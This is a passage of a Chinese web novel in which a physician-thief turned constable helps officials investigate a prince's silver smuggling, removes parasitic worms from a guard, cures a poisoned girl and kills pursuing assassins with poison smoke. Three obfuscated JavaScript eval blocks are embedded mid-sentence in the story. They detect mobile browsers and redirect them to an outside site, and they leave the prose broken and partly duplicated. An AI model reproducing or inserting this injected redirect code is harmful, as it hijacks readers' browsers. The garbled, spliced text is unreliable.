谢清晏跌坐在太师椅上懒懒点头,刘啸虎相对来说话就比较多了,一屁股坐在陆衔霜案条旁边的椅子上,好像之前用鸳鸯酒壶给人家倒烈性酒,自己提前喝下解酒药反而被灌倒的人不是他一样。 “这事儿吧,我们没有证据,但是以银子流入市场,和四王爷后院小妾娘家敛财的速度来看,他们很大概率发现了一座银矿,并且借着新铸官银的机会,把暗处的银子抬到明面上洗白。”刘啸虎咔嚓咬着陆衔霜放在桌上布袋里的苹果吃起来。 陆衔霜沉浸在自己世界里吐槽这个老皇帝脑子也有包,突然被耳边清脆的声音吸引,“你哪来的苹果?” “你袋子里的呗。” “住嘴!” “你小气!” 陆衔霜一个飞扑就要上来抢,刘啸虎没有借一丝力气快速后退,刚要洋洋得意,却见陆衔霜停在原地指着他手里半截苹果:“有虫子。” “啊啊啊,你不早说!呸呸呸!”又是一阵兵荒马乱鸡飞狗跳,陆衔霜还要凑上去看热闹,谢清晏拎着镇纸敲了敲桌面:“能不能别闹了?” 他现在真的很疲惫,尤其是在叶青锋中毒昏迷后更是如此,一个人带着一群不受管教的小崽子,谢大人只觉得再这样下去,等回去望月台的时候他的美貌会消失不见。 操心使人苍老这话果然没错。 刘啸虎漱口好半天才回来,眼神幽怨地快要长在陆衔霜身上,这个坏家伙,为什么不能早点提醒,等他发现的时候半截虫子已经在嘴里嚼了好一会,吐出来的时候还能看到地上一些肉乎乎的小身段在挣扎。 他恨,在门外呕吐的空挡默默掏出小黑本给陆衔霜记了一笔,在他不知道的时候,陆衔霜也给他的酒品记了一笔。 大事当头,谢清晏拿出在他看来是一方父母官的气势,坐在主位上十分威严。 看在刘啸虎眼里是笑面虎终于要开大,在陆衔霜就是地头蛇要出山了,反正崩不出什么好屁的两个人在案子面前,最基本的素养还是有的,一左一右坐在下手,目光炯炯看向上方。 “大人,不用把衙门的其他捕快叫来吗?” 谢清晏摇头:“叶青锋都栽了,我实在不能用那些捕快自己和家人的命去赌对方的心慈手软。” 陆林和顾岩的死亡都不是意外,在他之后和那两个背叛的捕头之间,难道就没有忠心耿耿的下属吗? 自然是有的,但人也没了。 现在参与到这个案子里的人,不是如同陆衔霜这样孑然一身的,就是谢清晏他们这些后台强硬家人不在此处的,不用担心被威胁,这才是能令人信服的基础。 “之后贾连城家属的案子你一手包办,晚些时候去陈明家给他家闺女看看,我觉得怕是要不好。”不等陆衔霜说话,“银子从衙门里出。” “行吧。”陆衔霜想着是原主和陈明一家的关系都很好,她本来也没打算要钱,不过可以用这些银子给婶子和妹妹弟弟买些礼物去。 几人顺势聊了几句,之前猜测用棺材运送官银的时候,谢清晏把侍卫派了出去,按照每个几度知州派人送往望月台的船只启程的前几日,每次附近还真就有几乎人家在出殡。 谢清晏一脸正色,“既然现在路线有了思路,案子也在推进,慢慢来就是,往后就不要再继续添人了,咱们几个互通有无,有情况随时交流。” “我们既然知道了运送银子的途径和路线,直接守株待兔下一次抓他们一个正着不就行了吗?”陆衔霜不解,这有什么麻烦的,直接把事情闹大,“事情一暴露,逼着皇帝老儿杀了老四部就得了嘛。”谁知道再磨磨唧唧下去还会出什么事儿。 “呵,拿什么闹大?知府有厢军,知州只会更多。”刘啸虎掏出一包瓜子看了谢清晏一眼,在半道转了一个弯,分给陆衔霜一半:“你以为如今牵制我们的只有知州吗?错,是那个上了年纪却不肯放下权柄,为了辖制太子爷从而疯狂给四王加码的老皇帝!” 这一切都是在老皇帝的默许之下进行的,要不然借四王一百个胆子他也不敢私铸官银,明目张胆拉拢官员,结为四王党,排除异己,几乎把觊觎储君之位这几个大字要写在脑门上。 这么多年太子殿下的地位实在是太稳固了,为了动摇这种稳固,老皇帝亲自下场给四王母子俩不断加码。 在后宫把真妃从一个小小的常在提拔到如今贵妃的地位,前些日子还想加封皇贵妃,第二天四王王妃娘家官员就被弹劾下去几个。 在前朝,老皇帝亲自下场为四王摇旗呐喊,他难道不知道四王刻薄寡恩薄情寡义吗?四王从前可是被先皇后抚养过的,先皇后对他极好,他还不是一朝得势就欺辱太子殿下,好像从前所有人都对不起他一样。 但是老皇帝不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906443|176002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎,他现在唯恐自己的权柄被正当年华的太子殿下抢夺,为此不惜抬起四王这个狗东西打擂台,只要求能够牵制住太子,以确保他手中皇权安稳。 “难不成我们找齐证据还要继续等吗,等到什么时候?”陆衔霜用力撸了一把头发,感觉这些官场上的人真麻烦。 谢清晏面容严肃:“等到太子党把四王党压下去,等到太子爷登基。” “呵,我就知道你不纯粹。”陆衔霜都不惜的说他,当初还信誓旦旦保皇党,你们世家大族嘴里没一句实话、 “太子殿下风光霁月,文武双全,本来就是储君。” “那么风光霁月的太子殿下为什么不把事情闹大,直接把四王压下去,你们不会不知道这样下去受苦的是老百姓吧?” 刘啸虎和谢清晏一起笑了,“你怎么能保证闹起来之后胜利的就是太子爷呢,四王的侧妃是武将出身,老皇帝还把真贵妃的兄长提拔成了五城兵马司首领,牵一发而动全身,万一输了,死的可是几大家子好几百口人。” “呵,现在死的百姓也不止好几百口人。”陆衔霜一人吃饱全家不饿,不明白他们这么谨慎的思路,等墨迹完再输就老实了。 “你究竟明不明白皇位之争是赢家通吃,败者死全家的节奏啊!”谢清晏麻了,这种高高在上不当回事儿的感觉,他还是头一次体会,挺让人不痛苦的。 他不痛快,陆衔霜比他更不痛快,“谁让你争了?”还不是自己贪婪,想要从龙之功一步登天。 谢清晏深呼吸,不断告诉自己不和小孩生气,“我大姐是太子妃。” “噗~”陆衔霜喝茶的动作顿了一下,在两人惊骇的目光下急忙转弯,一口茶水喷在地上,身边传来两人松了一口气的声音。 “那你呢?”陆衔霜一抹嘴看向刘啸虎,“你姐总不能是太子侧妃吧?” 刘啸虎一脸这话不能瞎说的表情练练摆手:“我是孤儿,我主子是昭荣公主,太子爷的亲妹妹。” 陆衔霜两手一拍,“我懂了,叶青锋是驸马爷,那那个厉绝禅呢,以前听你们说起也是一伙的。” “一伙的多难听,我们是世交。”谢清晏就看不上她江湖气息,“绝禅是太子爷的好兄弟,他爹是太子爷的老师。” 有些立场一开始就注定了,就算他们改投四王门下,四王也不敢收他们,更何况他们还没有这个意思,事情可不就僵持住了嘛。 “呵,我懂了,现在是太子这边不敢轻举妄动,但是四王那边如日中天,步步紧逼,你们不行呀,总后退时候时候是个头?” “闹起来苦的还是百姓你信不信?” 陆衔霜想说不行,文官的嘴就是骗人的鬼,但看在谢清晏一脸认真,主要他是领头上司的面子上,勉强点了点头,故作漫不经心随口问了一句:“你们说的那个路线是哪啊?” “就是路梧州出城往北边走的村道上……”刘啸虎和陆衔霜两人聊着聊着又坐到一块去,关系好的一个人似得,问什么说什么,惹得谢清晏看了他好几眼。 17. 第 17 章 陆衔霜和刘啸虎在抛却那场心怀鬼胎已经说不清楚的酒壶之谜之后,两个人性子还是很合得来,正事聊完就七嘴八舌开始聊别的,叽叽喳喳好像耳边有几百只鸭子要叫嚣,吵得谢清晏脑袋疼,起身要离开,突然从门口扑进来一个浑身是血的男子。 刘啸虎起身拦在来人身前,陆衔霜一个平移拽起谢清晏的后领,一个起身把人拎着腾空放在房梁上,刚把人藏好,就听到刘啸虎的呼唤:“神医快来,来活了。” 陆衔霜和谢清晏探出脑袋一看,刘啸虎怀里男人脏兮兮的脸被他擦干净一块,这不是之前跑出去给叶青锋找解药的那个侍卫么。 陆衔霜压根没看到谢清晏满脸一言难尽,又拎着他的衣服把人放下来,手往袖子里一掏,指缝里夹满金针,手速极快不断往身上扎,没一会儿就把人扎成一个刺猬。 好家伙,谢清晏看着这个手速咂舌不已,他连针从哪掏出来的都没看见,这就扎完了,要杀他是不是也易如反掌。 在他没注意到的地方竟然把心里话说出来了,谢清晏不由得唾弃一番自己外放多年已经没了朝堂上的警惕心。 “呵,杀你?我疯啦?”陆衔霜扒开男子的衣服,匕首在火上烤炙到焦红,迅速往泉水中一方,顿时传来滋啦的声音,谢清晏和刘啸虎皱着眉头看她往匕首上又是浇酒又是撒药,忙了一圈之后刚把心放回肚子里以为自己想多了,就看到这厮已经以极快的速度用匕首挑开亲卫的胸膛,血马上涌出来,她还拿着匕首尖在肉皮下来回动。 看的谢清晏忍了又忍,还是没忍着,飞奔去门外,“呕~”起来没玩没了。 “他真矫情。”陆衔霜撇嘴,还能抽空和刘啸虎聊天。 刘啸虎看着眼前丧心病狂的一幕,感觉自己也快要顶不住了,“你看着他,别看我!” 她的匕首比寻常匕首瘦一半,在胸膛下来回动,可以透过皮肉看到匕首的形状,鲜血流的满地都是,如果这里不是衙门的话,或许会让人以为是凶案现场。 “啧,你声音太大了。”陆衔霜没回头,捏着匕首的手突然一停,又猛地往一个地方刺去,冲刘啸虎努了努下巴:“把桌子上的那个刀在火上烤一烤,然后撒点酒。” 刘啸虎按照她说的步骤一一做完送过来,然后……也跑出去吐了,他实在做不到眼睁睁看着熟悉的人被开膛破肚,翻开上面一层皮之后,下面是一层密密麻麻的虫子。 随着他俩的此起彼伏,很快平时隐在暗处谢清晏的亲卫们纷纷现身干呕起来。 也不知道谁先带的头,反正到了这个地步大家伙肚子里都没留下什么存货,一脸菜色扶着墙走进来时,陆衔霜旁边的盆子里已经爬满红彤彤蠕动的虫子,它们互相吞噬发出“咔嚓咔嚓”的声音,眨眼的功夫就少了一半。 看的众人目瞪口呆,陆衔霜连头都没抬,一脸认真缝合男人的胸口,这么冲击的一幕,谢清晏一个文人,没忍住又扭头往外跑去,刺激,实在是太刺激了。 “我把它们烧了啊。”刘啸虎刚拔出火折子就被陆衔霜踹了一脚:“这东西价值千金,你别捣乱。”陆衔霜看了他一眼,招呼这位受伤仁兄的兄弟们搭把手:“找个板车或者把门拆下来把他抬到床上去。” 等人走了之后,刘啸虎还不可置信呢,“这玩意儿,价值千金?你别和我开玩笑吧?” “啧,我希望没人用得上,它自然也就不值这个价。”陆衔霜把之前窄的匕首尖上的黑红色硬壳虫扔到盆里,此时盆里只剩下一条蜷缩着身躯的红色虫子,这个虫子外形和蛆非常相似,唯一的不同就是它硕大的脑袋上张满了一排黑牙。 黑红色硬壳虫子是红色软体虫的虫母,现在他俩半斤八俩,谁能活下来谁就是虫王。 没个几天分不出胜负,陆衔霜不知道又从哪儿掏出来一个小坛子,把虫子转移到坛子里,抬脚往外走去,和生无可恋的谢清晏打了个照面:“你这是去哪?该吃饭了。”虽然他暂时没什么胃口,但陆衔霜还是个孩子呢,正是长身体的时候。 “你的人拿不回来解药,我要亲自去一趟。”陆衔霜的话让谢清晏和刘啸虎还有听到消息赶来的杜七杀都沉默了。 叶青锋和陆衔霜,这似乎是一个很好做的选择,如果她和别人一样——谄媚势利或者卑躬屈膝,都有可以用来谈条件的余地。 但她恰好不是,陆衔霜,无父无母无亲无故,没有可以用来要挟的软肋,却也没有给他们这群心思不纯谈论利益的机会。 她说她要去,在谁也没有开口威逼利诱之前作出决定。 谢清晏的侍卫都是武功高强之辈,就连身手这么好的人都栽了,她一个小姑娘没有办法让人不担忧,但他们却说不出阻止的话。 这一刻就连一向在官场游刃有余的谢清晏都有些唾弃自己虚伪,小姑娘为人豪气,从一开始就被他们利用,他们这群讨厌的大人就是这样一边眼睁睁看她去危险的地方,一边变现的十分担忧,却一个字都不拒绝。 陆衔霜可不知道这群老男人心里想法多的快要把富安府淹没,在他们眼里的武功高强的侍卫,在陆衔霜看来,也就那样。 要知道她们大禄朝江湖和朝堂各占一半,武林高手海了去了,她这点儿功夫在真正的高手面前就是花拳绣腿,结果来了大盛朝之后,说实话有些猖狂,但确实是这么回事,陆衔霜笑的一脸畅快,她所有碰到的所谓武功高强的壮士都打不过她。 可她的主业是盗,不是大侠,想想就知道大盛朝功夫水分具体有多少啦。 “小霜,你怎么来了?”陈明一双眼睛全是红血丝,听到敲门声一打开是陆衔霜,焦急的神态一扫而空,拽着她的胳膊就往里面走:“你来的正好,帮叔看一下丫丫,她从前天开始不好,去了医馆也没用,不久前还咳了血,又发起了热。” 其实陈明去找过陆衔霜,从她去谢宅办案,后来又到衙门,可惜两人在路上完美错过,陈明知道她消息的时候,她正在二堂和谢清晏刘啸虎谈事儿。 别说普通捕快,就算出了叶青锋之外的捕头,在没有案子的情况下,也不敢因为私事贸然去找知府大人。 只能无奈回来,准备晚一点再去看看,谁知道陆衔霜竟然拎着东西上门。 陆衔霜进门一看到丫丫满脸死气就暗道不好,人生头一遭来不及拿金线装模作样,直接抬手诊脉,匕首尖在丫丫指尖划开一道口子,黑色的血滴在地上发出刺啦的声音。 陈婶子是个大嗓门,刚才听到陆衔霜上门带着笑脸刚进门,看见这一幕顿时扯着嗓子扑到床上抱住丫丫哭嚎:“娘可怜的丫丫啊,小小年纪竟然遭了这么大的罪,究竟是哪个杀千刀的连小孩都不放过。” “行了,声音小些。”陈明脸色不好,拽着他婆娘起来。“别耽误大侄女看病。” “陈婶你放心,我肯定能治好丫丫,你现在去厨房烧点水等会给丫丫泡药浴。” 陈婶子一听丫丫能治好,立马支棱起来,“行,那就麻烦你了霜霜,婶子这就去。”看都没看陈明一眼,转身去厨房给闺女烧水。 陈明很不好意思对陆衔霜道谢:“今天真是麻烦你了,你婶子也是着急,等会陈叔带你去外面下馆子。”小霜这个时间拎着东西上门,婆娘也是,连问都不问一句吃点啥,转身就走,也就是熟人,搁外人身上早就翻脸了。 “见外不是。”陆衔霜掏出哨子吹了一声,没一会陆鹏就气喘吁吁站在眼前,看的陈明目瞪口呆,以他积年捕快的经验,刚才那个动作是开天窗没错吧?“去,按照这个方子抓药。” 等陆鹏走了陈明还没反应过来,看着她的眼神也欲言又止,“那个……小霜啊,你最近是不是交了什么朋友,你们怎么认识的?” 以一个长辈的角度看陆鹏,是怎么看都不满意的程度,他那么大的年龄,是怎么有脸老牛吃嫩草的。 陈明很生气,尤其是看到丫丫脸色比之前好很多,高热也降下来之后,更有心思生气了。 见陆衔霜不说话,他以为自己猜中了,“咳咳,小霜,你爹娘不在,陈叔也当一回长辈,和你说点心里话。” “您说。”陆衔霜满脸疑惑。 “这好男人啊,从年轻的时候就和别人不一样。”陈明艰难地组织措辞,在陆衔霜一脸懵懂中怒火更加高涨,对着陆鹏去的,咬咬牙挑明一点:“大器晚成这种类型的人少,上了年纪的男人他除了甜言蜜语之外也只剩下一身臭味了,你可万万不能被人骗了。” 陆衔霜听出来了,陈叔以为陆鹏是她想好,呔,这个猜想是不是有点太晦气了,别的不说,陆鹏长得也不好看呐,“陈叔,你想多了,我和他清清白白,不是那种关系。” 陈明看她还嘴硬,暗道一声要遭,如果承认还能处理,死活不承认更容易出问题,当即急的不行:“小霜你年纪小不知道,上了年纪还没成亲的男人肯定有很大的问题!” 真的,陈明但凡不是个男的,就差拽着陆衔霜的衣领大吼一声陆鹏阳痿了。 别说他为什么不相信陆衔霜的话,男人还不了解男人吗?能被一个口哨叫过来的,心里肯定有某些想法。 “进来吧,站院子里喂蚊子吗?”陆衔霜无语了,冲窗外吼了一嗓子,陆鹏乖巧进屋,路过陈明的时候叹了口气,把药包放在桌子上,大声道:“师父,药包买回来了,您还有什么吩咐。” “师父?” “回去做饭,有事儿和你说。” “得咧。陈捕快您留步。”陆鹏一脸假笑拦住陈明要送自己离开的脚步,爬上墙转眼就没了身影,陈明回到屋里还没完全回过神来,“小霜你……” 陆衔霜把丫丫放进药浴桶里,让陈婶看着丫丫,示意陈明到一边去,“陈叔,谢大人说贾连城的案子以后教给我,你就不要插手了。” 陈明神色一凛,顿时明白点什么,低声询问:“丫丫这次……?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915066|176002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这段时间有没有人找过你,威胁或者拉拢都算。” “没有,但是丫丫中毒那天,上一个捕头王彪回来祭祖,偶尔碰到,说了不少话。”陈明从陆衔霜几句话里咂摸出不少信息,顿时就怒了,想提高嗓门,又害怕吓到婆娘,只能压低声音气的浑身哆嗦:“他有什么事情来找我,干嘛要给丫丫下毒!” “拿捏你呗,反正这事儿你别管了,谢大人的意思是往后正常当值,贾连城的案子别插手就行了。” “那王彪呢?”陈明恨的眼珠子发红。 “事情结束之后谢大人肯定要算账,到时候你记得提就行。”这年头对错可弹性着呢,端看最后谁是赢家呗。 “那你掺和进去也不好,不能让大人把你调去别的案子吗?”陈明看出谢大人对小霜堪称容忍的态度,当下也想让她换个松快的活计。 陆衔霜摇头:“陈叔,我一个人吃饱全家不饿,就算想威胁我,也得能找出来一个和我关系的人呐。” “你的安慰……” “切,碰上我是他们命该绝了。”丫丫解毒之后,陆衔霜留下药方,推辞了陈叔和陈婶留她吃饭的邀请,一进院子陆鹏已经把饭菜和酒水准备好了,这个徒弟水平垃圾,做事是真的贴心。 师徒二人吃完饭后,陆衔霜指挥陆鹏给她收拾包袱:“我出门几天,你最近就在院子里的练功,贾府那边暂时别去了。” “师父?”陆鹏一听不能见桃花,立马急了,“我还答应给闺女买福源寺的桃花手钏呢,这下不就失约了嘛!” 陆衔霜都不知道自己现在该摆出什么表情了,只能皱着脸问他:“贾连城的闺女,什么时候成你闺女了?”现在还不知道桃花是个什么路数,这个蠢货还惦记相好。 “桃花的闺女就是我的闺女。”陆鹏缩着肩膀满脸羞涩,羞答答看了陆衔霜一眼,眼神十分憧憬:“师父,我都想好了,这几年好好赚钱,等贾连城出了笑,就把桃花和闺女赎出来。” “哼,你倒是想得美,也没问桃花乐不乐意。” “桃花愿意的,她说她等我。”陆鹏大脸盘子红扑扑的,好像明天就要成亲一样,看的陆衔霜无语的发白眼。 饶是陆衔霜走南闯北见识多广,今儿个也被陆鹏这种堪称情种的作风惊呆了,不由得问了一嘴:“鹏啊,师父问这话没别的意思,就是单纯的好奇。” “您问。” “这男人一向是没钱的时候求钱,有了钱追权,你连饭都吃不饱的时候竟然还想桃花,她给你下蛊啦?”这事儿她之前还专门查看过,确实没有,一度怀疑自己的医术,都没怀疑陆鹏的脑子。 “庸俗的钱怎么能和桃花比呢,桃花在我眼里就是仙女,这个世界上所有的女人加起来都比不上桃花一根手指头。我们之间是爱情!”陆鹏不乐意了,当即大声反驳,一点没想到她师父也被扫射到世界上所有的女人那一波里头,说的十分义正言辞,“让桃花受这么多罪是我没本事,不然她去宫里当娘娘也使得。” 呔!晦气,陆衔霜有点不能直面爱情这两个字儿,总感觉把人脑浆子也吃了,艰难转移话题,转头拿桃花的名声说事儿:“你看那个秀秀姨娘,她院子里有男人的事情万一传出去,是不是孩子的血脉来源都会被人怀疑?” 一说这个,陆鹏立马乖巧听话:“师父你说的是。” “这段时间你去江湖上找上了年纪的兄弟们问问,看有没有知道秀秀姨娘院子里的马夫是个什么身份,还有你那天在秀秀姨娘院子遇到的男人还有影响吗?” 陆鹏摇头:“师父我没看到正脸。”他偷得东西手忙脚乱,到了能看到正脸的地步,也是他被抓个正着的时候。“ “那你就去询问那个马夫的身份,这点银子你拿着周转,等我回来事情忙完,就去给你提亲。” “师父你说真的?”陆鹏激动地站起来,椅子倒了都没扶,上前两步就要抓陆衔霜的胳膊,然后就被揍了。 “真的。”只要桃花也是真心的,那就和谢蓁提一嘴呗,反正同不同意的事儿另说,这几天先把他稳住。 谁料这下更是通了马蜂窝,陆鹏抬脚往外走去,已经站在院子里盘算他要用哪个屋子娶媳妇了。 陆衔霜拎着包袱要走,听到陆鹏的碎碎念惊呆了,想的这么早吗?还有,这是我家,你瞎盘算什么呢。 对此陆鹏有话说:“我给师父养老送终,师父给我娶媳妇儿,这不是天经地义么。” “我可去你的天经地义,自己都一把岁数了还给我养老送终呢,你以后老的走不动了,别哭喊着让我抚养你就不错了。”这么晦气的话她压根不想多说,算计着这几天的事情暂时能压住这个猪脑子,拎着包袱眨眼就没了身影。 陆鹏盯着她消失的方向看了几眼:“师父就是厉害。”然后又琢磨该怎么布置房间,下聘的时候该准备点什么,一个人忙的不可开交,虽然是单方面的。 18. 第 18 章 自从来到这个世界之后,陆衔霜就被迫着扮演另外一个十分陌生的人,虽然拥有她的所有记忆,勉强套着一个壳子能够伪装,但只有夜深人静,只有剩下一个人的时候,她都会感觉到一股莫名的悲凉。 这里不是她的故乡,她也不是原主那个正直的姑娘。 每天憋在富安府那一亩三分地的地界,睁眼就是熟悉的人,出门就是按部就班的工作,陆衔霜感觉自己的翅膀留在了故乡,站在这片陌生的土地上只能抬头望天,偶尔想念从前的日子,大部分时候,她的生活都被鸡飞狗跳所淹没。 现在终于离开那个好像一辈子都无法挣脱的牢笼,天高任鸟飞,陆衔霜没有骑马,出了城外之后开心地像一只久违天空的鸟,踏雪无痕运用到了极致,眨眼见就飘出去几十里,到了太阳下山天慢慢黑透的时候,她已经出现在几百里外的山脚下,翻过这座山在里头最深处,就是双头血影的栖息地。 跑了一路也没来得及吃饭,陆衔霜随意捡了几块石头,四处扫了一眼,耳朵微动,目光钉在一处,看到一个可爱的小家伙后腿一蹬,跳进草丛里,就是这个瞬间,她手里的石头飞快弹了出去,很快那个可爱的小家伙就躺了滚烫的板板。 火苗在夜里跳动,陆衔霜靠在树干上眯着眼睛打盹,每次鼻子用力吸气的时候,手上动作跟着翻一下烤网,偶有鸟禽略过树梢或树丛,她连眼皮都懒得抬,寥寥几次睁眼,也只顾专注火上的兔子不要烤焦。 随着香味不断迸发,她也终于睁开双眼,懒得撕吧,直接整个拎起来张口咬下,肥嘟嘟的兔子汁水很足,瞬间充斥整个口腔,美的陆衔霜心情都好了很多,说出口的话都没那么尖锐了。 “跟了一路,你们不累吗?”陆衔霜漫不经心说着话,手上动作没停,靠在树干上,好像在酒楼里一样肆意,把没吃完的烤兔子放到一边,正再用帕子慢条斯理擦拭指缝里的油,连头都没抬。 风中传来沙沙响动,好似小兽掠过一般动作轻盈,眨眼间陆衔霜所在之处四周便围满了蒙面黑衣人,各个脚步轻盈,浑身却散发着煞气,一看就是久经血海之辈。 这群人正是四王手下的血滴子,他们作为四王的爪牙,日常需要处理见不得人的事情,手上不知道沾了多少条人命,说是人形杀戮怪物也错不了。 原本杀一个人这点小事儿确实用不着他们出手,但是传来消息叶青锋竟然现在还活着,一个疑似伪装成捕快的鬼医就这么进入四王的视线中,不得不让人重视。 医者,手段莫测的医者,从来都是上位者可遇不可求的东西。 阎罗路引这么歹毒的东西就是血滴子中其中一人的家传绝学,叶青锋以为是父辈寻仇,却不知从他踏上去富安府的路开始,就只剩下一条绝路给他走。 四王现在已经感觉自己大权在握,登基在即,只剩下最后一哆嗦,他不允许任何人破坏。 原本处置陆衔霜的方式是打算直接杀了了事,但是给叶青锋下阎罗路引的人都没有办法维持住他的性命,一个十六岁的小姑娘竟然这么轻易地做到了。 会解毒就会下毒,有这样手段莫测的医者保驾护航,还能够给旁人下毒,权势煊赫的四王爷自然不会错过这么一个好用的手下,这才是之前那个侍卫能够活着回去的原因,虽然他们不知道双头血影如何能够调配解药,但是下毒人却很是兴奋,拍着胸脯和四王爷保证一定给他把人带回去。 秋日的山里晚风比白日更添凌冽,对面坐下来一个长相阴鹜的男子,眼角耸拉着仿佛没睡醒一般,如果不是陆衔霜眼神好使,都看不见他的眼珠子。 鹰钩鼻细长一条,和眼睛搭配下来还挺和谐,下垂的嘴角和眼睛一个方向,下巴消瘦好像谁拿刀削过一样。 陆衔霜眼睛微微眯起,扫过男人拎起木棍把火堆扒拉地更旺的手,指甲盖泛着青黑,这是长年累月和毒物打交道的标志,嘴角扬起一抹轻蔑:“怎么,不动手吗?” “人活一遭,无非是功名利禄真金白银,当捕快月俸才几个钱。”男人不答反问,透着火光看向陆衔霜。 “功名利禄?我一个姑娘家再升又能升到哪去呢。” “话可不是这么说的,背靠大树好乘凉,好不好先放一边,最重要的是不能坏事儿。” “哦?看着你对此颇有心得。” “心得算不上,不过是过来人的提点,一朝龙在天,鸡犬也升天,混江湖,最重要的是跟对人。” “混江湖,朝堂和江湖可是两个不同的天,自由自在不好吗?” “自由自在?人活着谁能保证能永远自在。”男人一脸看小孩一样的表情,好在她说的是什么笑话一般,轻笑了两声。 自以为是的蠢货,陆衔霜不以为然,这个世界上总有那么几个以为举世皆浊我独清的蠢货,半瓶子不满就敢在外行走,一副老天第一他第二的模样。 这究竟是游说还是威胁,她不在乎,旁人以为她救叶青锋是为了讨好上司,谢清晏对此啐了一声笑骂滚蛋,陆衔霜这个小崽子不给他暗中使坏就不错了,还讨好,他也很困惑好吧,那么丧心病狂的一个小姑娘救治起叶青锋却二话不说。 别说什么驸马不驸马,她当初援手的时候叶青锋也只是一个捕头罢了。 所有人都很疑惑,只有陆衔霜在怀念家乡,叶青锋身上那股走到绝路也绝不服输的劲儿,和段无赦真的很像,同样是为了百姓,同样是为了真相,也同样几乎走到了绝路上,却仍然没有放弃。 自从那件事之后,她就把好人这个标签从身上扯了下来,越干坏事越开心,偶尔帮别人忙还好,绝对不能接二连三干好事,否则心底的戾气就会冲破十几年的教养,让她几乎忍不住恶意丛生,恨不得把这个世界上的所有人都一把火烧的干净。 但在这个操蛋的世道中,她却始终忘不了那对即使是鬼医和侠盗组合,还依然心怀百姓和天下的父母。 这就是为什么段无赦和叶青锋如出一辙的无趣,她还是义无反顾救人的原因。 我讨厌做个好人,但是这种好人确实原本命运中的自己。 陆衔霜笑了:“你很相信自己。”瞟了一眼男人的手,换来一个得意的笑:“自然,在和你见面之前,我就做好了万无一失的准备。” 他们玩毒的都很难相信别人,只要同在一个天空下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920032|176002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对手可以从很多方向入手,看似平常的谈话,其实自从他坐下开始,两人已经交锋过好几个回合。 男人洋洋得意,也没什么了不起嘛,还以为能够解阎罗路引的人有多厉害,听说叶青锋现在还没醒,她莫不是没有办法解毒才跑出来,之前的那些只不过是障眼法。 陆衔霜拎起没吃完的烤兔子放在火上转圈,一□□刮来,火苗窜的老高,加热后烤兔子冒出肥嘟嘟的油,她凑到嘴边咬了一大口,顿时香的眯眼睛:“你身上有银子吗?” 男人一愣,从怀里掏出一把银票,不屑刚浮现在脸上,突然神色大变,“你下毒……”话还没说完,接连几声噗通倒在地上,毒烟以陆衔霜为中心,蔓延至百米之外,所有来围困她的人一个不落全部没了气息。 “瞧瞧,我就说你是个垃圾,真以为一路上这么多人跟踪没被我发现啊。”陆衔霜把最后一口烤兔子吃掉,骨头架随手一扔落在一个死人脸上,蹲在男人身旁,手随便在对方衣服上擦了擦,开始搜刮银钱,直到把她们身上的钱财搜刮的一干二净之后,一个飞跃上树进入梦乡。 发了一笔横财实在是一件令人开心的事情,大晚上狼群开宴欢呼的时候,陆衔霜善心一时没忍住喷涌而出,顺手将尸体内的毒素除去,以免这群可爱的小家伙吃坏肚子。 天亮狼儿们拖家带口回去睡觉,睡饱的陆衔霜则叼着一跟狗尾巴草在树枝上迎着照样满脸笑嘻嘻,摸了摸怀里鼓鼓囊囊的银票,和几乎挂满腰间的荷包,里面装满了金银碎块,四王那个狗东西手下是有钱呐。 平时装的人模狗样政治清廉,敛财的手段连她们盗门都望尘莫及,要不说世界上最赚钱的营生是当官呢。 陆衔霜随手打猎吃了点小家伙之后就朝着深山挺进,一番“艰难”寻找后,成功将解药拿到手。 双头血影蛇刚被放在地上,就慌忙逃窜,两只头显然没有商量好,一左一右扯了脖子将在原地,缓缓扭头看向对方的小豆豆眼里满是不可置信,逗得陆衔霜哈哈大笑,上前帮忙小蛇正了个骨,又喂了点它们喜欢的毒物,这才重新把它们放在地上“去吧。” 她怀着十分美好的心情回到富安府,直接被陆鹏这个狗东西气的要跳脚,在大家同情的目光下面无表情调配好解药,快速给叶青锋和梅花解毒。 谢清晏生怕把人气出毛病,出言安慰:“你别担心,证据不足,他暂时没事儿。” 陆衔霜扯出一个虚伪的笑,刚解完毒,脸色狰狞一瞬,“我去牢房。”眨眼的功夫就没了人影,刘啸虎看着她的背影陡然出声:“这次出去不太平,我闻到了很重的血腥味,她杀人了。” 陆衔霜幸亏不知道这厮背地里说她坏话,她干干净净一个小姑娘哪有那么残忍,明明是狼儿家族举办宴会,她正好路过好不好。 